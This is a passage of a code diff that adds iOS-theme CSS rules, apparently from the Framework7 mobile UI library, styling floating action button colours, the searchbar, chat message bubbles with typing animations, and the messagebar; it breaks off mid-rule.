+.ios .color-theme-orange.fab-buttons a.active-state { + background: #d67d00; +} +.ios .color-theme-orange .fab-morph, +.ios .color-theme-orange.fab-morph { + background: #ff9500; +} +.ios .color-theme-gray .fab > a, +.ios .color-theme-gray .fab-buttons a, +.ios .color-theme-gray.fab > a, +.ios .color-theme-gray.fab-buttons a { + background: #8e8e93; +} +.ios .color-theme-gray .fab > a.active-state, +.ios .color-theme-gray .fab-buttons a.active-state, +.ios .color-theme-gray.fab > a.active-state, +.ios .color-theme-gray.fab-buttons a.active-state { + background: #79797f; +} +.ios .color-theme-gray .fab-morph, +.ios .color-theme-gray.fab-morph { + background: #8e8e93; +} +.ios .color-theme-white .fab > a, +.ios .color-theme-white .fab-buttons a, +.ios .color-theme-white.fab > a, +.ios .color-theme-white.fab-buttons a { + background: #ffffff; +} +.ios .color-theme-white .fab > a.active-state, +.ios .color-theme-white .fab-buttons a.active-state, +.ios .color-theme-white.fab > a.active-state, +.ios .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.ios .color-theme-white .fab-morph, +.ios .color-theme-white.fab-morph { + background: #ffffff; +} +.ios .color-theme-black .fab > a, +.ios .color-theme-black .fab-buttons a, +.ios .color-theme-black.fab > a, +.ios .color-theme-black.fab-buttons a { + background: #000000; +} +.ios .color-theme-black .fab > a.active-state, +.ios .color-theme-black .fab-buttons a.active-state, +.ios .color-theme-black.fab > a.active-state, +.ios .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.ios .color-theme-black .fab-morph, +.ios .color-theme-black.fab-morph { + background: #000000; +} +.ios .fab.color-red > a, +.ios .fab.color-red .fab-buttons > a, +.ios .fab-buttons.color-red a, +.ios .fab > a.color-red, +.ios .fab .fab-buttons > a.color-red { + background: #ff3b30; +} +.ios .fab.color-red > a.active-state, +.ios .fab.color-red .fab-buttons > a.active-state, +.ios .fab-buttons.color-red a.active-state, +.ios .fab > a.color-red.active-state, +.ios .fab .fab-buttons > a.color-red.active-state { + background: #ff1407; +} +.ios .fab-morph.color-red { + background: #ff3b30; +} +.ios .fab.color-green > a, +.ios .fab.color-green .fab-buttons > a, +.ios .fab-buttons.color-green a, +.ios .fab > a.color-green, +.ios .fab .fab-buttons > a.color-green { + background: #4cd964; +} +.ios .fab.color-green > a.active-state, +.ios .fab.color-green .fab-buttons > a.active-state, +.ios .fab-buttons.color-green a.active-state, +.ios .fab > a.color-green.active-state, +.ios .fab .fab-buttons > a.color-green.active-state { + background: #2cd048; +} +.ios .fab-morph.color-green { + background: #4cd964; +} +.ios .fab.color-blue > a, +.ios .fab.color-blue .fab-buttons > a, +.ios .fab-buttons.color-blue a, +.ios .fab > a.color-blue, +.ios .fab .fab-buttons > a.color-blue { + background: #007aff; +} +.ios .fab.color-blue > a.active-state, +.ios .fab.color-blue .fab-buttons > a.active-state, +.ios .fab-buttons.color-blue a.active-state, +.ios .fab > a.color-blue.active-state, +.ios .fab .fab-buttons > a.color-blue.active-state { + background: #0066d6; +} +.ios .fab-morph.color-blue { + background: #007aff; +} +.ios .fab.color-pink > a, +.ios .fab.color-pink .fab-buttons > a, +.ios .fab-buttons.color-pink a, +.ios .fab > a.color-pink, +.ios .fab .fab-buttons > a.color-pink { + background: #ff2d55; +} +.ios .fab.color-pink > a.active-state, +.ios .fab.color-pink .fab-buttons > a.active-state, +.ios .fab-buttons.color-pink a.active-state, +.ios .fab > a.color-pink.active-state, +.ios .fab .fab-buttons > a.color-pink.active-state { + background: #ff0434; +} +.ios .fab-morph.color-pink { + background: #ff2d55; +} +.ios .fab.color-yellow > a, +.ios .fab.color-yellow .fab-buttons > a, +.ios .fab-buttons.color-yellow a, +.ios .fab > a.color-yellow, +.ios .fab .fab-buttons > a.color-yellow { + background: #ffcc00; +} +.ios .fab.color-yellow > a.active-state, +.ios .fab.color-yellow .fab-buttons > a.active-state, +.ios .fab-buttons.color-yellow a.active-state, +.ios .fab > a.color-yellow.active-state, +.ios .fab .fab-buttons > a.color-yellow.active-state { + background: #d6ab00; +} +.ios .fab-morph.color-yellow { + background: #ffcc00; +} +.ios .fab.color-orange > a, +.ios .fab.color-orange .fab-buttons > a, +.ios .fab-buttons.color-orange a, +.ios .fab > a.color-orange, +.ios .fab .fab-buttons > a.color-orange { + background: #ff9500; +} +.ios .fab.color-orange > a.active-state, +.ios .fab.color-orange .fab-buttons > a.active-state, +.ios .fab-buttons.color-orange a.active-state, +.ios .fab > a.color-orange.active-state, +.ios .fab .fab-buttons > a.color-orange.active-state { + background: #d67d00; +} +.ios .fab-morph.color-orange { + background: #ff9500; +} +.ios .fab.color-gray > a, +.ios .fab.color-gray .fab-buttons > a, +.ios .fab-buttons.color-gray a, +.ios .fab > a.color-gray, +.ios .fab .fab-buttons > a.color-gray { + background: #8e8e93; +} +.ios .fab.color-gray > a.active-state, +.ios .fab.color-gray .fab-buttons > a.active-state, +.ios .fab-buttons.color-gray a.active-state, +.ios .fab > a.color-gray.active-state, +.ios .fab .fab-buttons > a.color-gray.active-state { + background: #79797f; +} +.ios .fab-morph.color-gray { + background: #8e8e93; +} +.ios .fab.color-white > a, +.ios .fab.color-white .fab-buttons > a, +.ios .fab-buttons.color-white a, +.ios .fab > a.color-white, +.ios .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.ios .fab.color-white > a.active-state, +.ios .fab.color-white .fab-buttons > a.active-state, +.ios .fab-buttons.color-white a.active-state, +.ios .fab > a.color-white.active-state, +.ios .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.ios .fab-morph.color-white { + background: #ffffff; +} +.ios .fab.color-black > a, +.ios .fab.color-black .fab-buttons > a, +.ios .fab-buttons.color-black a, +.ios .fab > a.color-black, +.ios .fab .fab-buttons > a.color-black { + background: #000000; +} +.ios .fab.color-black > a.active-state, +.ios .fab.color-black .fab-buttons > a.active-state, +.ios .fab-buttons.color-black a.active-state, +.ios .fab > a.color-black.active-state, +.ios .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.ios .fab-morph.color-black { + background: #000000; +} +.ios.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(15px + constant(safe-area-inset-bottom)); + bottom: calc(15px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-left"], + .ios.device-iphone-x .popup .fab[class*="fab-left"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .ios.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(15px + constant(safe-area-inset-left)); + left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .ios.device-iphone-x .ios-edges .fab[class*="fab-right"], + .ios.device-iphone-x .popup .fab[class*="fab-right"], + .ios.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .ios.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(15px + constant(safe-area-inset-right)); + right: calc(15px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, +.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.ios .searchbar { + height: 44px; + background: #f7f7f8; +} +.ios .searchbar.no-hairline:after { + display: none !important; +} +.ios .searchbar input[type="search"], +.ios .searchbar input[type="text"] { + padding: 0 28px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + border-radius: 10px; + border-radius: 8px; + font-family: inherit; + color: #000; + font-size: 17px; + font-weight: normal; + z-index: 30; + background-color: #e8e8ea; + position: relative; +} +.ios .searchbar input[type="search"]::-webkit-input-placeholder, +.ios .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]:-ms-input-placeholder, +.ios .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::-ms-input-placeholder, +.ios .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar input[type="search"]::placeholder, +.ios .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.ios .searchbar .input-clear-button { + z-index: 40; + left: 7px; +} +.ios .searchbar-inner { + padding: 0 8px; +} +.ios .searchbar-icon { + width: 13px; + height: 13px; + position: absolute; + top: 50%; + margin-top: -6px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; + z-index: 40; + right: 8px; +} +.ios .searchbar-backdrop { + background: rgba(0, 0, 0, 0.4); +} +.ios .searchbar-input-wrap { + height: 32px; +} +.ios .searchbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .searchbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .searchbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .searchbar-disable-button { + font-size: 17px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + color: #007aff; + display: none; +} +.ios .searchbar-disable-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + opacity: 0.3 !important; +} +.ios .searchbar-enabled .searchbar-disable-button { + pointer-events: auto; + opacity: 1; + margin-right: 8px; +} +.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button { + -webkit-transition-duration: 300ms !important; + transition-duration: 300ms !important; +} +.ios .searchbar-expandable { + right: 0; + bottom: 0; + opacity: 1; + width: 100%; + height: 0%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + overflow: hidden; +} +.ios .searchbar-expandable .searchbar-disable-button { + margin-right: 8px; + opacity: 1; + display: block; +} +.ios .searchbar-expandable .searchbar-inner { + height: 44px; +} +.ios .searchbar-expandable.searchbar-enabled { + opacity: 1; + height: 100%; + pointer-events: auto; +} +.ios .page > .searchbar { + z-index: 200; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar, +.ios .page > .navbar ~ .searchbar { + top: 44px; +} +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ .page-content, +.ios .navbar ~ .page:not(.no-navbar) > .searchbar ~ * .page-content, +.ios .page > .navbar ~ .searchbar ~ .page-content, +.ios .page > .navbar ~ .searchbar ~ * .page-content { + padding-top: 88px; +} +.ios .theme-dark .searchbar, +.searchbar.ios .theme-dark { + background-color: #303030; +} +.ios .theme-dark .searchbar:after, +.searchbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .searchbar input[type="search"], +.searchbar.ios .theme-dark input[type="search"], +.ios .theme-dark .searchbar input[type="text"], +.searchbar.ios .theme-dark input[type="text"] { + background-color: #171717; + color: #fff; +} +.ios .color-theme-red .searchbar-disable-button { + color: #ff3b30; +} +.ios .color-theme-green .searchbar-disable-button { + color: #4cd964; +} +.ios .color-theme-blue .searchbar-disable-button { + color: #007aff; +} +.ios .color-theme-pink .searchbar-disable-button { + color: #ff2d55; +} +.ios .color-theme-yellow .searchbar-disable-button { + color: #ffcc00; +} +.ios .color-theme-orange .searchbar-disable-button { + color: #ff9500; +} +.ios .color-theme-gray .searchbar-disable-button { + color: #8e8e93; +} +.ios .color-theme-white .searchbar-disable-button { + color: #ffffff; +} +.ios .color-theme-black .searchbar-disable-button { + color: #000000; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-left .searchbar-inner { + padding-left: calc(8px + constant(safe-area-inset-left)); + padding-left: calc(8px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .searchbar-inner, + .ios.device-iphone-x .ios-edges .searchbar-inner, + .ios.device-iphone-x .popup .searchbar-inner, + .ios.device-iphone-x .sheet-modal .searchbar-inner, + .ios.device-iphone-x .panel-right .searchbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: normal; + -webkit-flex-direction: row; + -ms-flex-direction: row; + flex-direction: row; + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.message-received { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; +} +.message-received .message-content { + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; +} +.message-sent .message-content { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; +} +.message:not(.message-last) .message-avatar { + opacity: 0; +} +.message:not(.message-first) .message-name { + display: none; +} +.message.message-same-name .message-name { + display: none; +} +.message.message-same-header .message-header { + display: none; +} +.message.message-same-footer .message-footer { + display: none; +} +.message-appear-from-bottom { + -webkit-animation: message-appear-from-bottom 300ms; + animation: message-appear-from-bottom 300ms; +} +.message-appear-from-top { + -webkit-animation: message-appear-from-top 300ms; + animation: message-appear-from-top 300ms; +} +.message-typing-indicator { + display: inline-block; + font-size: 0; + vertical-align: middle; +} +.message-typing-indicator > div { + display: inline-block; + position: relative; + background: #000; + vertical-align: middle; + border-radius: 50%; +} +@-webkit-keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-bottom { + from { + -webkit-transform: translate3d(0, 100%, 0); + transform: translate3d(0, 100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@-webkit-keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +@keyframes message-appear-from-top { + from { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); + } + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } +} +.ios .messages-content, +.ios .messages { + background: #fff; +} +.ios .messages-title { + font-size: 11px; + color: #8e8e93; + margin-top: 10px; +} +.ios .messages-title:last-child { + margin-bottom: 10px; +} +.ios .messages-title b { + font-weight: 600; +} +.ios .message { + margin-top: 10px; +} +.ios .message:last-child { + margin-bottom: 10px; +} +.ios .message-avatar { + width: 29px; + height: 29px; +} +.ios .message-header, +.ios .message-footer, +.ios .message-name { + color: #8e8e93; +} +.ios .message-header b, +.ios .message-footer b, +.ios .message-name b { + font-weight: 600; +} +.ios .message-header, +.ios .message-name { + margin-bottom: 3px; +} +.ios .message-footer { + margin-top: 3px; +} +.ios .message-bubble { + font-size: 17px; + line-height: 1.2; + border-radius: 16px; + padding: 6px 16px 9px; + min-width: 48px; + min-height: 35px; +} +.ios .message-image { + margin: 6px -16px; +} +.ios .message-image:first-child { + margin-top: -6px; +} +.ios .message-image:first-child img { + border-top-left-radius: 16px; + border-top-right-radius: 16px; +} +.ios .message-image:last-child { + margin-bottom: -9px; +} +.ios .message-image:last-child img { + border-bottom-left-radius: 16px; + border-bottom-right-radius: 16px; +} +.ios .message-text-header { + margin-bottom: 3px; +} +.ios .message-text-footer { + margin-top: 3px; +} +.ios .message-received { + margin-left: 10px; +} +.ios .message-received .message-header, +.ios .message-received .message-footer, +.ios .message-received .message-name { + margin-left: 16px; +} +.ios .message-received .message-text-header, +.ios .message-received .message-text-footer { + opacity: 0.5; +} +.ios .message-received .message-bubble { + color: #000; + background: #e5e5ea; + padding-left: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received .message-image { + margin-left: -22px; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble { + border-radius: 16px 16px 16px 0; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 42% 46% 56%; +} +.ios .message-received.message-tail:not(.message-typing) .message-bubble .message-image:last-child img { + border-bottom-left-radius: 0px; +} +.ios .message-sent { + margin-right: 10px; +} +.ios .message-sent .message-header, +.ios .message-sent .message-footer, +.ios .message-sent .message-name { + margin-right: 16px; +} +.ios .message-sent .message-text-header, +.ios .message-sent .message-text-footer { + opacity: 0.8; +} +.ios .message-sent .message-bubble { + background: #00d449; + color: #fff; + padding-right: 22px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent .message-image { + margin-right: -22px; +} +.ios .message-sent.message-tail .message-bubble { + border-radius: 16px 16px 0 16px; + -webkit-mask-box-image: url("data:image/svg+xml;charset=utf-8,") 50% 56% 46% 42%; +} +.ios .message-sent.message-tail .message-bubble .message-image:last-child img { + border-bottom-right-radius: 0px; +} +.ios .message + .message:not(.message-first) { + margin-top: 1px; +} +.ios .message-received.message-typing .message-content:after, +.ios .message-received.message-typing .message-content:before { + content: ''; + position: absolute; + background: #e5e5ea; + border-radius: 50%; +} +.ios .message-received.message-typing .message-content:after { + width: 11px; + height: 11px; + left: 4px; + bottom: 0px; +} +.ios .message-received.message-typing .message-content:before { + width: 6px; + height: 6px; + left: -1px; + bottom: -4px; +} +.ios .message-typing-indicator > div { + width: 9px; + height: 9px; + opacity: 0.35; +} +.ios .message-typing-indicator > div + div { + margin-right: 4px; +} +.ios .message-typing-indicator > div:nth-child(1) { + -webkit-animation: ios-message-typing-indicator 900ms infinite; + animation: ios-message-typing-indicator 900ms infinite; +} +.ios .message-typing-indicator > div:nth-child(2) { + -webkit-animation: ios-message-typing-indicator 900ms 150ms infinite; + animation: ios-message-typing-indicator 900ms 150ms infinite; +} +.ios .message-typing-indicator > div:nth-child(3) { + -webkit-animation: ios-message-typing-indicator 900ms 300ms infinite; + animation: ios-message-typing-indicator 900ms 300ms infinite; +} +.ios .theme-dark .messages-content, +.messages-content.ios .theme-dark, +.ios .theme-dark .messages, +.messages.ios .theme-dark { + background-color: transparent; +} +.ios .theme-dark .message-received.message-typing .message-content:after, +.ios .theme-dark .message-received.message-typing .message-content:before { + background: #333; +} +.ios .theme-dark .message-typing-indicator > div { + background-color: #fff; +} +.ios .theme-dark .message-received .message-bubble { + background-color: #333; + color: #fff; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .message-received, + .ios.device-iphone-x .ios-edges .message-received, + .ios.device-iphone-x .popup .message-received, + .ios.device-iphone-x .sheet-modal .message-received, + .ios.device-iphone-x .panel-left .message-received { + margin-left: calc(10px + constant(safe-area-inset-left)); + margin-left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .message-sent, + .ios.device-iphone-x .ios-edges .message-sent, + .ios.device-iphone-x .popup .message-sent, + .ios.device-iphone-x .sheet-modal .message-sent, + .ios.device-iphone-x .panel-right .message-sent { + margin-right: calc(10px + constant(safe-area-inset-right)); + margin-right: calc(10px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +@keyframes ios-message-typing-indicator { + 0% { + opacity: 0.35; + } + 25% { + opacity: 0.2; + } + 50% { + opacity: 0.2; + } +} +/* === Messagebar === */ +.toolbar.messagebar { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + background: #fff; + height: auto; +} +.toolbar.messagebar .toolbar-inner { + position: relative; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; +} +.toolbar.messagebar .messagebar-area { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + overflow: hidden; + position: relative; +} +.toolbar.messagebar textarea { + width: 100%; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.toolbar.messagebar a.link { + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.messagebar-attachments { + width: 100%; + overflow: auto; + -webkit-overflow-scrolling: touch; + font-size: 0; + white-space: nowrap; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.messagebar:not(.messagebar-attachments-visible) .messagebar-attachments { + display: none; +} +.messagebar-attachment { + background-size: cover; + background-position: center; + background-repeat: no-repeat; + display: inline-block; + vertical-align: middle; + white-space: normal; + height: 155px; + position: relative; +} +@media (orientation: landscape) { + .messagebar-attachment { + height: 120px; + } +} +.messagebar-attachment img { + display: block; + width: auto; + height: 100%; +} +.messagebar-attachment + .messagebar-attachment { + margin-right: 8px; +} +.messagebar-sheet { + overflow: auto; + -webkit-overflow-scrolling: touch; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-align-content: flex-start; + -ms-flex-line-pack: start; + align-content: flex-start; + height: 252px; +} +@media (orientation: landscape) { + .messagebar-sheet { + height: 192px; + } +} +.messagebar-sheet-image, +.messagebar-sheet-item { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + margin-top: 1px; + position: relative; + overflow: hidden; + height: 125px; + width: 125px; + margin-right: 1px; +} +@media (orientation: landscape) { + .messagebar-sheet-image, + .messagebar-sheet-item { + width: 95px; + height: 95px; + } +} +.messagebar-sheet-image .icon-checkbox, +.messagebar-sheet-item .icon-checkbox, +.messagebar-sheet-image .icon-radio, +.messagebar-sheet-item .icon-radio { + position: absolute; + right: 8px; + bottom: 8px; +} +.messagebar-sheet-image { + background-size: cover; + background-position: center; + background-repeat: no-repeat; +} +.messagebar-attachment-delete { + display: block; + position: absolute; + border-radius: 50%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + cursor: pointer; + -webkit-box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); + box-shadow: 0px 0px 2px rgba(0, 0, 0, 0.2); +} +.messagebar-attachment-delete:after, +.messagebar-attachment-delete:before { + position: absolute; + content: ''; + left: 50%; + top: 50%; +} +.messagebar-attachment-delete:after { + -webkit-transform: rotate(45deg); + transform: rotate(45deg); +} +.messagebar-attachment-delete:before { + -webkit-transform: rotate(-45deg); + transform: rotate(-45deg); +} +.messagebar:not(.messagebar-sheet-visible) .messagebar-sheet { + display: none; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top), +.md.device-iphone-x .messagebar:not(.messagebar-top) { + height: auto !important; +} +.ios.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible), +.md.device-iphone-x .messagebar:not(.messagebar-top):not(.messagebar-sheet-visible) { + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios.device-iphone-x .messagebar-sheet, +.md.device-iphone-x .messagebar-sheet { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + padding-bottom: constant(safe-area-inset-bottom); + padding-bottom: env(safe-area-inset-bottom); +} +.ios .messagebar { + background: #fff; + min-height: 44px; +} +.ios .messagebar:before { + display: none !important; +} +.ios .messagebar textarea { + background: #fff; + border-radius: 17px; + padding: 6px 15px; + height: 34px; + line-height: 20px; + font-size: 17px; + border: 1px solid #c8c8cd; +} +.ios .messagebar a.link.icon-only:first-child { + margin-left: -8px; +} +.ios .messagebar a.link.icon-only:last-child { + margin-right: -8px; +} +.ios .messagebar a.link:not(.icon-only) + .messagebar-area { + margin-left: 8px; +} +.ios .messagebar .messagebar-area + a.link:not(.icon-only) { + margin-left: 8px; +} +.ios .messagebar-area { + margin-top: 5px; + margin-bottom: 5px; +} +.ios .messagebar-attachments { + padding: 5px; + border-radius: 17px 17px 0 0; + border: 1px solid #c8c8cd; + border-bottom: none; +} +.ios .messagebar-attachments-visible .messagebar-attachments + textarea { + border-radius: 0 0 17px 17px; +} +.ios .messagebar-attachment { + border-radius: 12px; + font-size: 14px; +} +.ios .messagebar-attachment img { + border-radius: 12px; +} +.ios .messagebar-sheet { + background: #d1d5da; +} +.ios .messagebar-attachment-delete { + right: 5px; + top: 5px; + width: 20px; + height: 20px; + background: #7d7e80; + border: 2px solid #fff; + cursor: pointer; +} +.ios .messagebar-attachment-delete:after, +.ios .messagebar-attachment-delete:before { + width: 10px; + height: 2px; + background: #fff; + margin-left: -5px; + margin-top: -1px; +} +.ios .theme-dark .messagebar textarea, +.messagebar.ios .theme-dark textarea { + background-color: 